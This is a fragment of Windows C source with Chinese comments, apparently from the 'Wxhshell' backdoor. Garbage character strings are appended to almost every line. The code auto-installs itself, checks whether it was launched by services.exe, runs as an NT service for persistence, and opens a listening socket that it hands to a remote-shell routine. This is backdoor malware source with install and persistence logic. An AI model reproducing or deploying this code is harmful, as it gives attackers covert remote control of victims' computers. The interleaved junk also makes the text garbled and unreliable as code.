DWORD BasePriority; xC*6vH]?
ULONG UniqueProcessId;
0Sle
ULONG InheritedFromUniqueProcessId; r\b3AKrIN
} PROCESS_BASIC_INFORMATION; :*ing
4{hps.$?~
PROCNTQSIP NtQueryInformationProcess; NLUT#!Gr
FME3sa$
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _A+s)]}
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; UUzYbuS>&l
0~ZFv Wv
HANDLE hProcess; biSz?DJ>
PROCESS_BASIC_INFORMATION pbi; ^HV>`Pjd}=
g#F?!i-[F
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qQA}Z*(m
if(NULL == hInst ) return 0; 19O,a#{KHf
(d(hR0HKE
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .q
`Hjmg<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2_n7=&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u=/{cOJI6
,_Z5m;
if (!NtQueryInformationProcess) return 0; !G SV6
l^|UCgRn
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .QA }u ,EN
if(!hProcess) return 0; 4a'N>eDR
nQ q=7Gu
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `S6x<J&T\/
cWi}V
CloseHandle(hProcess); ` D= S{
0Uo\wyd
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @!`Xl*l
if(hProcess==NULL) return 0; k`0>36
}emN9Rj
HMODULE hMod; o
Z%9_$Z
char procName[255]; Qp/QaVQ+
unsigned long cbNeeded; 2^^`n1?'
:^kZ.6Q@
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gW-V=LV (
kPVO?uO
CloseHandle(hProcess); H-~6Z",1
@xbQ Ye%J
if(strstr(procName,"services")) return 1; // 以服务启动 GH+r?2<
f>W-
return 0; // 注册表启动 W}5xmz
} ,=Mt`aN
c- }X_)U }
// 主模块 $u9K+>.
int StartWxhshell(LPSTR lpCmdLine) *Eo?k<:zPm
{ /Y'Vh^9/T
SOCKET wsl; i(iXD
BOOL val=TRUE; 5\e9@1Rc
int port=0; TNGU6j}oq
struct sockaddr_in door; ]`kmjn
p4'G$]#
if(wscfg.ws_autoins) Install(); v#.r.{t
f ` R/
i
port=atoi(lpCmdLine); 7cTV?nc
dYL"h.x
if(port<=0) port=wscfg.ws_port; %d?cP}V
D|Q#gcWp o
WSADATA data; j!]YNH@
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O+]Ifm [
_NMm/]mN /
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ^~3SSLS4"
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W3 'q\+
door.sin_family = AF_INET; w]]8dz
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9 D7+[`r(-
door.sin_port = htons(port); 4scNSeW
JwAYG5W
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ie2WL\tR4
closesocket(wsl); R'C2o]
return 1; T~Gvp0r}h
} }Q=!Y>Tc
%`&2+\`
if(listen(wsl,2) == INVALID_SOCKET) { T[j#M+p
closesocket(wsl); <})2#sZO!
return 1; "x 3lQ
} {=F/C,-
Wxhshell(wsl); k + H3Bq
WSACleanup(); 4`!Z$kt
yuat" Pg
return 0; J2'Nd'
][?G/*k
} rvnT6Ve
cd$m25CxC
// 以NT服务方式启动 {
S3ZeN,kZ
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qzf!l"bT
{ |j#C|V%kV
DWORD status = 0; SjwyLc
DWORD specificError = 0xfffffff; T>R0T{A
Kfh|
serviceStatus.dwServiceType = SERVICE_WIN32; YKO){f5
serviceStatus.dwCurrentState = SERVICE_START_PENDING; kw"SwdP5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .ys6"V|31
serviceStatus.dwWin32ExitCode = 0; <gJU?$
serviceStatus.dwServiceSpecificExitCode = 0; D"ND+*Q[X
serviceStatus.dwCheckPoint = 0; 6^%68N1k
serviceStatus.dwWaitHint = 0; >(?9?
`kZ@Zmj#
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [^U#Qj)hL
if (hServiceStatusHandle==0) return; eC[$B99\
ni<A3OB
status = GetLastError(); H\qC["
if (status!=NO_ERROR) dt`{!lts'
{ ,!7 H]4Qx
serviceStatus.dwCurrentState = SERVICE_STOPPED; K)Q]a30
serviceStatus.dwCheckPoint = 0; @@8J6*y
serviceStatus.dwWaitHint = 0; %2XHNW
serviceStatus.dwWin32ExitCode = status; Y6Lf@}2(i
serviceStatus.dwServiceSpecificExitCode = specificError; f"u%J/e &
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^!9~Nwn
return; j}~86JO+Cw
} b+f'[;
,]+z)
serviceStatus.dwCurrentState = SERVICE_RUNNING; B:!W$<
serviceStatus.dwCheckPoint = 0; \ aHVs
serviceStatus.dwWaitHint = 0; N(y\dL=v
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Kd=%tNp
} ($}`R
xj1@
dVsE^jsL
// 处理NT服务事件,比如:启动、停止 .h>8@5/s
VOID WINAPI NTServiceHandler(DWORD fdwControl) O }(VlR2
{ [$ejp>'Ud
switch(fdwControl) ?zQA
{ h\PHKC2
case SERVICE_CONTROL_STOP: )w0AC"2O~
serviceStatus.dwWin32ExitCode = 0; Er+nk`UR_
serviceStatus.dwCurrentState = SERVICE_STOPPED; `.x
Fiyc
serviceStatus.dwCheckPoint = 0; pb$~b\s]=
serviceStatus.dwWaitHint = 0; + j W1V}h
{ wyQzM6:,yX
SetServiceStatus(hServiceStatusHandle, &serviceStatus); *{yK
8
} Dg}
Ka7H
return; \'CDRr"uw
case SERVICE_CONTROL_PAUSE:
AiK
serviceStatus.dwCurrentState = SERVICE_PAUSED; G=A,9@+c
break; e(I=^#u6
case SERVICE_CONTROL_CONTINUE: ]Yvga!S"C
serviceStatus.dwCurrentState = SERVICE_RUNNING; [&nh5|f
break; }b0; 0j
case SERVICE_CONTROL_INTERROGATE: vh*U]3@
break; {WPobP"
}; Nqrmp" ]
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .F(i/)vaq|
} GF5^\Rf
iTV) NsC}
// 标准应用程序主函数 7?kIVP1r
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;\\@q"n%<
{ ]- 4QNc=
RhvfC5Hq
// 获取操作系统版本 YJl("MZ
OsIsNt=GetOsVer(); E
Kz'&